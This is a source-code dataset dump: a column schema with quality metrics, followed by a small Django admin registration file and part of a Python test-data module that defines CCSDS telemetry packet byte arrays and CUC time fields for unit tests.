hexsha
string
size
int64
ext
string
lang
string
max_stars_repo_path
string
max_stars_repo_name
string
max_stars_repo_head_hexsha
string
max_stars_repo_licenses
list
max_stars_count
int64
max_stars_repo_stars_event_min_datetime
string
max_stars_repo_stars_event_max_datetime
string
max_issues_repo_path
string
max_issues_repo_name
string
max_issues_repo_head_hexsha
string
max_issues_repo_licenses
list
max_issues_count
int64
max_issues_repo_issues_event_min_datetime
string
max_issues_repo_issues_event_max_datetime
string
max_forks_repo_path
string
max_forks_repo_name
string
max_forks_repo_head_hexsha
string
max_forks_repo_licenses
list
max_forks_count
int64
max_forks_repo_forks_event_min_datetime
string
max_forks_repo_forks_event_max_datetime
string
content
string
avg_line_length
float64
max_line_length
int64
alphanum_fraction
float64
qsc_code_num_words_quality_signal
int64
qsc_code_num_chars_quality_signal
float64
qsc_code_mean_word_length_quality_signal
float64
qsc_code_frac_words_unique_quality_signal
float64
qsc_code_frac_chars_top_2grams_quality_signal
float64
qsc_code_frac_chars_top_3grams_quality_signal
float64
qsc_code_frac_chars_top_4grams_quality_signal
float64
qsc_code_frac_chars_dupe_5grams_quality_signal
float64
qsc_code_frac_chars_dupe_6grams_quality_signal
float64
qsc_code_frac_chars_dupe_7grams_quality_signal
float64
qsc_code_frac_chars_dupe_8grams_quality_signal
float64
qsc_code_frac_chars_dupe_9grams_quality_signal
float64
qsc_code_frac_chars_dupe_10grams_quality_signal
float64
qsc_code_frac_chars_replacement_symbols_quality_signal
float64
qsc_code_frac_chars_digital_quality_signal
float64
qsc_code_frac_chars_whitespace_quality_signal
float64
qsc_code_size_file_byte_quality_signal
float64
qsc_code_num_lines_quality_signal
float64
qsc_code_num_chars_line_max_quality_signal
float64
qsc_code_num_chars_line_mean_quality_signal
float64
qsc_code_frac_chars_alphabet_quality_signal
float64
qsc_code_frac_chars_comments_quality_signal
float64
qsc_code_cate_xml_start_quality_signal
float64
qsc_code_frac_lines_dupe_lines_quality_signal
float64
qsc_code_cate_autogen_quality_signal
float64
qsc_code_frac_lines_long_string_quality_signal
float64
qsc_code_frac_chars_string_length_quality_signal
float64
qsc_code_frac_chars_long_word_length_quality_signal
float64
qsc_code_frac_lines_string_concat_quality_signal
float64
qsc_code_cate_encoded_data_quality_signal
float64
qsc_code_frac_chars_hex_words_quality_signal
float64
qsc_code_frac_lines_prompt_comments_quality_signal
float64
qsc_code_frac_lines_assert_quality_signal
float64
qsc_codepython_cate_ast_quality_signal
float64
qsc_codepython_frac_lines_func_ratio_quality_signal
float64
qsc_codepython_cate_var_zero_quality_signal
bool
qsc_codepython_frac_lines_pass_quality_signal
float64
qsc_codepython_frac_lines_import_quality_signal
float64
qsc_codepython_frac_lines_simplefunc_quality_signal
float64
qsc_codepython_score_lines_no_logic_quality_signal
float64
qsc_codepython_frac_lines_print_quality_signal
float64
qsc_code_num_words
int64
qsc_code_num_chars
int64
qsc_code_mean_word_length
int64
qsc_code_frac_words_unique
null
qsc_code_frac_chars_top_2grams
int64
qsc_code_frac_chars_top_3grams
int64
qsc_code_frac_chars_top_4grams
int64
qsc_code_frac_chars_dupe_5grams
int64
qsc_code_frac_chars_dupe_6grams
int64
qsc_code_frac_chars_dupe_7grams
int64
qsc_code_frac_chars_dupe_8grams
int64
qsc_code_frac_chars_dupe_9grams
int64
qsc_code_frac_chars_dupe_10grams
int64
qsc_code_frac_chars_replacement_symbols
int64
qsc_code_frac_chars_digital
int64
qsc_code_frac_chars_whitespace
int64
qsc_code_size_file_byte
int64
qsc_code_num_lines
int64
qsc_code_num_chars_line_max
int64
qsc_code_num_chars_line_mean
int64
qsc_code_frac_chars_alphabet
int64
qsc_code_frac_chars_comments
int64
qsc_code_cate_xml_start
int64
qsc_code_frac_lines_dupe_lines
int64
qsc_code_cate_autogen
int64
qsc_code_frac_lines_long_string
int64
qsc_code_frac_chars_string_length
int64
qsc_code_frac_chars_long_word_length
int64
qsc_code_frac_lines_string_concat
null
qsc_code_cate_encoded_data
int64
qsc_code_frac_chars_hex_words
int64
qsc_code_frac_lines_prompt_comments
int64
qsc_code_frac_lines_assert
int64
qsc_codepython_cate_ast
int64
qsc_codepython_frac_lines_func_ratio
int64
qsc_codepython_cate_var_zero
int64
qsc_codepython_frac_lines_pass
int64
qsc_codepython_frac_lines_import
int64
qsc_codepython_frac_lines_simplefunc
int64
qsc_codepython_score_lines_no_logic
int64
qsc_codepython_frac_lines_print
int64
effective
string
hits
int64
1ada41c174e08b929d3d7bf9ab1f0f24b13058f3
189
py
Python
servicebox/tenancy/admin.py
FlxPeters/servicebox
2fc39fa5ec6e629a0794fda003a7a0e4adf05202
[ "Apache-2.0" ]
null
null
null
servicebox/tenancy/admin.py
FlxPeters/servicebox
2fc39fa5ec6e629a0794fda003a7a0e4adf05202
[ "Apache-2.0" ]
null
null
null
servicebox/tenancy/admin.py
FlxPeters/servicebox
2fc39fa5ec6e629a0794fda003a7a0e4adf05202
[ "Apache-2.0" ]
null
null
null
from django.contrib import admin from .models import Tenant, TenantGroup from mptt.admin import MPTTModelAdmin admin.site.register(TenantGroup, MPTTModelAdmin) admin.site.register(Tenant)
27
48
0.84127
24
189
6.625
0.5
0.238994
0.289308
0.389937
0
0
0
0
0
0
0
0
0.089947
189
6
49
31.5
0.924419
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.6
0
0.6
0
1
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
7
1ae528b0b3c66ec299c29d01fe2ed3cbe07122b6
47,578
py
Python
UnitTest/testData.py
STRATOLOGIC/SpacePyLibrary
89fc3873c6d787ad4e391f6080d9dd3218ffc4a2
[ "MIT" ]
22
2015-01-22T13:40:22.000Z
2022-02-19T02:03:12.000Z
UnitTest/testData.py
STRATOLOGIC/SpacePyLibrary
89fc3873c6d787ad4e391f6080d9dd3218ffc4a2
[ "MIT" ]
3
2018-09-28T13:14:40.000Z
2022-02-08T14:19:13.000Z
UnitTest/testData.py
STRATOLOGIC/SpacePyLibrary
89fc3873c6d787ad4e391f6080d9dd3218ffc4a2
[ "MIT" ]
11
2016-06-01T11:53:56.000Z
2022-02-08T14:19:34.000Z
#****************************************************************************** # (C) 2018, Stefan Korner, Austria * # * # The Space Python Library is free software; you can redistribute it and/or * # modify it under under the terms of the MIT License as published by the * # Massachusetts Institute of Technology. * # * # The Space Python Library is distributed in the hope that it will be useful, * # but WITHOUT ANY WARRANTY; without even the implied warranty of * # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the MIT License * # for more details. * #****************************************************************************** # Test Data for Unit Tests * #****************************************************************************** import array from UTIL.DU import BITS, BYTES, UNSIGNED, STRING, TIME import CCSDS.PACKET, CCSDS.SEGMENT, CCSDS.TIME ############# # constants # ############# ZERO_CUC2_TIME_FIELD = [0x00, 0x00, 0x00, 0x00, 0x00, 0x00] CUC2_TIME1_FIELD = [0x00, 0x00, 0x00, 0x00, 0x00, 0x01] CUC2_TIME2_FIELD = [0x00, 0x00, 0x00, 0x00, 0x00, 0x02] CUC2_TIME3_FIELD = [0x00, 0x00, 0x00, 0x00, 0x01, 0x00] CUC2_TIME4_FIELD = [0x00, 0x00, 0x00, 0x00, 0xFF, 0xFE] CUC2_TIME5_FIELD = [0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF] CUC2_TIME6_FIELD = [0x3A, 0xD7, 0x27, 0x48, 0x00, 0x00] CUC2_TIME1_STR = "1980.005.23.59.45.000015" CUC2_TIME2_STR = "1980.005.23.59.45.000031" CUC2_TIME3_STR = "1980.005.23.59.45.003906" CUC2_TIME4_STR = "1980.005.23.59.45.999969" CUC2_TIME5_STR = "1980.005.23.59.45.999985" CUC2_TIME6_STR = "2011.108.16.20.09.000000" CUC2_TIME_DU_BYTE_SIZE = 6 CUC2_TIME_DU_ATTRIBUTES = { "time": (0, CCSDS.TIME.TIME_FORMAT_CUC2, TIME)} TM_PACKET_01 = [ 0x08, 0x44, 0xC0, 0x00, 0x00, 0x0F, 0x10, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00] TM_PACKET_01_versionNumber = 0 TM_PACKET_01_packetType = 0 TM_PACKET_01_dataFieldHeaderFlag = 1 TM_PACKET_01_applicationProcessId = 68 TM_PACKET_01_segmentationFlags = CCSDS.PACKET.UNSEGMENTED TM_PACKET_01_sequenceControlCount = 0 TM_PACKET_01_packetLength = 15 TM_PACKET_01_pusVersionNumber = 1 TM_PACKET_01_serviceType = 1 TM_PACKET_01_serviceSubType = 1 TM_PACKET_02 = [ 0x08, 0xA0, 0xC0, 0x00, 0x01, 0xC9, 0x10, 0x03, 0x19, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x80] TM_PACKET_02_versionNumber = 0 TM_PACKET_02_packetType = 0 TM_PACKET_02_dataFieldHeaderFlag = 1 TM_PACKET_02_applicationProcessId = 160 TM_PACKET_02_segmentationFlags = CCSDS.PACKET.UNSEGMENTED TM_PACKET_02_sequenceControlCount = 0 TM_PACKET_02_packetLength = 457 TM_PACKET_02_pusVersionNumber = 1 TM_PACKET_02_serviceType = 3 TM_PACKET_02_serviceSubType = 25 TM_PACKET_03_SPID = 12345 TM_PACKET_03 = [ 0x0C, 0xD2, 0xC0, 0x00, 0x00, 0x26, 0x10, 0x03, 0x19, 0x00, 0x5B, 0xA6, 0xC7, 0x69, 0x5D, 0x12, 0xFC, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD1, 0xD1] TM_PACKET_03_versionNumber = 0 TM_PACKET_03_packetType = 0 TM_PACKET_03_dataFieldHeaderFlag = 1 TM_PACKET_03_applicationProcessId = 1234 TM_PACKET_03_segmentationFlags = CCSDS.PACKET.UNSEGMENTED TM_PACKET_03_sequenceControlCount = 0 TM_PACKET_03_packetLength = 38 TM_PACKET_03_pusVersionNumber = 1 TM_PACKET_03_serviceType = 3 TM_PACKET_03_serviceSubType = 25 TM_PACKET_04 = [ 0x0C, 0xD2, 0xC0, 0x00, 0x08, 0x20, 0x10, 0x08, 0x02, 0x00, 0x5B, 0xA6, 0xC7, 0x69, 0x5D, 0x12, 0x12, 0x34, 0x56, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1A, 0x1B, 0x1C, 0x1D, 0x1E, 0x1F, 0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28, 0x29, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F, 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3A, 0x3B, 0x3C, 0x3D, 0x3E, 0x3F, 0x40, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4A, 0x4B, 0x4C, 0x4D, 0x4E, 0x4F, 0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, 0x59, 0x5A, 0x5B, 0x5C, 0x5D, 0x5E, 0x5F, 0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 0x6A, 0x6B, 0x6C, 0x6D, 0x6E, 0x6F, 0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77, 0x78, 0x79, 0x7A, 0x7B, 0x7C, 0x7D, 0x7E, 0x7F, 0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87, 0x88, 0x89, 0x8A, 0x8B, 0x8C, 0x8D, 0x8E, 0x8F, 0x90, 0x91, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97, 0x98, 0x99, 0x9A, 0x9B, 0x9C, 0x9D, 0x9E, 0x9F, 0xA0, 0xA1, 0xA2, 0xA3, 0xA4, 0xA5, 0xA6, 0xA7, 0xA8, 0xA9, 0xAA, 0xAB, 0xAC, 0xAD, 0xAE, 0xAF, 0xB0, 0xB1, 0xB2, 0xB3, 0xB4, 0xB5, 0xB6, 0xB7, 0xB8, 0xB9, 0xBA, 0xBB, 0xBC, 0xBD, 0xBE, 0xBF, 0xC0, 0xC1, 0xC2, 0xC3, 0xC4, 0xC5, 0xC6, 0xC7, 0xC8, 0xC9, 0xCA, 0xCB, 0xCC, 0xCD, 0xCE, 0xCF, 0xD0, 0xD1, 0xD2, 0xD3, 0xD4, 0xD5, 0xD6, 0xD7, 0xD8, 0xD9, 0xDA, 0xDB, 0xDC, 0xDD, 0xDE, 0xDF, 0xE0, 0xE1, 0xE2, 0xE3, 0xE4, 0xE5, 0xE6, 0xE7, 0xE8, 0xE9, 0xEA, 0xEB, 0xEC, 0xED, 0xEE, 0xEF, 0xF0, 0xF1, 0xF2, 0xF3, 0xF4, 0xF5, 0xF6, 0xF7, 0xF8, 0xF9, 0xFA, 0xFB, 0xFC, 0xFD, 0xFE, 0xFF, 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1A, 0x1B, 0x1C, 0x1D, 0x1E, 0x1F, 0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28, 0x29, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F, 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3A, 0x3B, 0x3C, 0x3D, 0x3E, 0x3F, 0x40, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4A, 0x4B, 0x4C, 0x4D, 0x4E, 0x4F, 0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, 0x59, 0x5A, 0x5B, 0x5C, 0x5D, 0x5E, 0x5F, 0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 0x6A, 0x6B, 0x6C, 0x6D, 0x6E, 0x6F, 0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77, 0x78, 0x79, 0x7A, 0x7B, 0x7C, 0x7D, 0x7E, 0x7F, 0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87, 0x88, 0x89, 0x8A, 0x8B, 0x8C, 0x8D, 0x8E, 0x8F, 0x90, 0x91, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97, 0x98, 0x99, 0x9A, 0x9B, 0x9C, 0x9D, 0x9E, 0x9F, 0xA0, 0xA1, 0xA2, 0xA3, 0xA4, 0xA5, 0xA6, 0xA7, 0xA8, 0xA9, 0xAA, 0xAB, 0xAC, 0xAD, 0xAE, 0xAF, 0xB0, 0xB1, 0xB2, 0xB3, 0xB4, 0xB5, 0xB6, 0xB7, 0xB8, 0xB9, 0xBA, 0xBB, 0xBC, 0xBD, 0xBE, 0xBF, 0xC0, 0xC1, 0xC2, 0xC3, 0xC4, 0xC5, 0xC6, 0xC7, 0xC8, 0xC9, 0xCA, 0xCB, 0xCC, 0xCD, 0xCE, 0xCF, 0xD0, 0xD1, 0xD2, 0xD3, 0xD4, 0xD5, 0xD6, 0xD7, 0xD8, 0xD9, 0xDA, 0xDB, 0xDC, 0xDD, 0xDE, 0xDF, 0xE0, 0xE1, 0xE2, 0xE3, 0xE4, 0xE5, 0xE6, 0xE7, 0xE8, 0xE9, 0xEA, 0xEB, 0xEC, 0xED, 0xEE, 0xEF, 0xF0, 0xF1, 0xF2, 0xF3, 0xF4, 0xF5, 0xF6, 0xF7, 0xF8, 0xF9, 0xFA, 0xFB, 0xFC, 0xFD, 0xFE, 0xFF, 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1A, 0x1B, 0x1C, 0x1D, 0x1E, 0x1F, 0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28, 0x29, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F, 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3A, 0x3B, 0x3C, 0x3D, 0x3E, 0x3F, 0x40, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4A, 0x4B, 0x4C, 0x4D, 0x4E, 0x4F, 0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, 0x59, 0x5A, 0x5B, 0x5C, 0x5D, 0x5E, 0x5F, 0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 0x6A, 0x6B, 0x6C, 0x6D, 0x6E, 0x6F, 0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77, 0x78, 0x79, 0x7A, 0x7B, 0x7C, 0x7D, 0x7E, 0x7F, 0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87, 0x88, 0x89, 0x8A, 0x8B, 0x8C, 0x8D, 0x8E, 0x8F, 0x90, 0x91, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97, 0x98, 0x99, 0x9A, 0x9B, 0x9C, 0x9D, 0x9E, 0x9F, 0xA0, 0xA1, 0xA2, 0xA3, 0xA4, 0xA5, 0xA6, 0xA7, 0xA8, 0xA9, 0xAA, 0xAB, 0xAC, 0xAD, 0xAE, 0xAF, 0xB0, 0xB1, 0xB2, 0xB3, 0xB4, 0xB5, 0xB6, 0xB7, 0xB8, 0xB9, 0xBA, 0xBB, 0xBC, 0xBD, 0xBE, 0xBF, 0xC0, 0xC1, 0xC2, 0xC3, 0xC4, 0xC5, 0xC6, 0xC7, 0xC8, 0xC9, 0xCA, 0xCB, 0xCC, 0xCD, 0xCE, 0xCF, 0xD0, 0xD1, 0xD2, 0xD3, 0xD4, 0xD5, 0xD6, 0xD7, 0xD8, 0xD9, 0xDA, 0xDB, 0xDC, 0xDD, 0xDE, 0xDF, 0xE0, 0xE1, 0xE2, 0xE3, 0xE4, 0xE5, 0xE6, 0xE7, 0xE8, 0xE9, 0xEA, 0xEB, 0xEC, 0xED, 0xEE, 0xEF, 0xF0, 0xF1, 0xF2, 0xF3, 0xF4, 0xF5, 0xF6, 0xF7, 0xF8, 0xF9, 0xFA, 0xFB, 0xFC, 0xFD, 0xFE, 0xFF, 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1A, 0x1B, 0x1C, 0x1D, 0x1E, 0x1F, 0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28, 0x29, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F, 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3A, 0x3B, 0x3C, 0x3D, 0x3E, 0x3F, 0x40, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4A, 0x4B, 0x4C, 0x4D, 0x4E, 0x4F, 0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, 0x59, 0x5A, 0x5B, 0x5C, 0x5D, 0x5E, 0x5F, 0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 0x6A, 0x6B, 0x6C, 0x6D, 0x6E, 0x6F, 0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77, 0x78, 0x79, 0x7A, 0x7B, 0x7C, 0x7D, 0x7E, 0x7F, 0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87, 0x88, 0x89, 0x8A, 0x8B, 0x8C, 0x8D, 0x8E, 0x8F, 0x90, 0x91, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97, 0x98, 0x99, 0x9A, 0x9B, 0x9C, 0x9D, 0x9E, 0x9F, 0xA0, 0xA1, 0xA2, 0xA3, 0xA4, 0xA5, 0xA6, 0xA7, 0xA8, 0xA9, 0xAA, 0xAB, 0xAC, 0xAD, 0xAE, 0xAF, 0xB0, 0xB1, 0xB2, 0xB3, 0xB4, 0xB5, 0xB6, 0xB7, 0xB8, 0xB9, 0xBA, 0xBB, 0xBC, 0xBD, 0xBE, 0xBF, 0xC0, 0xC1, 0xC2, 0xC3, 0xC4, 0xC5, 0xC6, 0xC7, 0xC8, 0xC9, 0xCA, 0xCB, 0xCC, 0xCD, 0xCE, 0xCF, 0xD0, 0xD1, 0xD2, 0xD3, 0xD4, 0xD5, 0xD6, 0xD7, 0xD8, 0xD9, 0xDA, 0xDB, 0xDC, 0xDD, 0xDE, 0xDF, 0xE0, 0xE1, 0xE2, 0xE3, 0xE4, 0xE5, 0xE6, 0xE7, 0xE8, 0xE9, 0xEA, 0xEB, 0xEC, 0xED, 0xEE, 0xEF, 0xF0, 0xF1, 0xF2, 0xF3, 0xF4, 0xF5, 0xF6, 0xF7, 0xF8, 0xF9, 0xFA, 0xFB, 0xFC, 0xFD, 0xFE, 0xFF, 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1A, 0x1B, 0x1C, 0x1D, 0x1E, 0x1F, 0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28, 0x29, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F, 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3A, 0x3B, 0x3C, 0x3D, 0x3E, 0x3F, 0x40, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4A, 0x4B, 0x4C, 0x4D, 0x4E, 0x4F, 0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, 0x59, 0x5A, 0x5B, 0x5C, 0x5D, 0x5E, 0x5F, 0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 0x6A, 0x6B, 0x6C, 0x6D, 0x6E, 0x6F, 0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77, 0x78, 0x79, 0x7A, 0x7B, 0x7C, 0x7D, 0x7E, 0x7F, 0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87, 0x88, 0x89, 0x8A, 0x8B, 0x8C, 0x8D, 0x8E, 0x8F, 0x90, 0x91, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97, 0x98, 0x99, 0x9A, 0x9B, 0x9C, 0x9D, 0x9E, 0x9F, 0xA0, 0xA1, 0xA2, 0xA3, 0xA4, 0xA5, 0xA6, 0xA7, 0xA8, 0xA9, 0xAA, 0xAB, 0xAC, 0xAD, 0xAE, 0xAF, 0xB0, 0xB1, 0xB2, 0xB3, 0xB4, 0xB5, 0xB6, 0xB7, 0xB8, 0xB9, 0xBA, 0xBB, 0xBC, 0xBD, 0xBE, 0xBF, 0xC0, 0xC1, 0xC2, 0xC3, 0xC4, 0xC5, 0xC6, 0xC7, 0xC8, 0xC9, 0xCA, 0xCB, 0xCC, 0xCD, 0xCE, 0xCF, 0xD0, 0xD1, 0xD2, 0xD3, 0xD4, 0xD5, 0xD6, 0xD7, 0xD8, 0xD9, 0xDA, 0xDB, 0xDC, 0xDD, 0xDE, 0xDF, 0xE0, 0xE1, 0xE2, 0xE3, 0xE4, 0xE5, 0xE6, 0xE7, 0xE8, 0xE9, 0xEA, 0xEB, 0xEC, 0xED, 0xEE, 0xEF, 0xF0, 0xF1, 0xF2, 0xF3, 0xF4, 0xF5, 0xF6, 0xF7, 0xF8, 0xF9, 0xFA, 0xFB, 0xFC, 0xFD, 0xFE, 0xFF, 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1A, 0x1B, 0x1C, 0x1D, 0x1E, 0x1F, 0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28, 0x29, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F, 0x30, 0x31, 0x32, 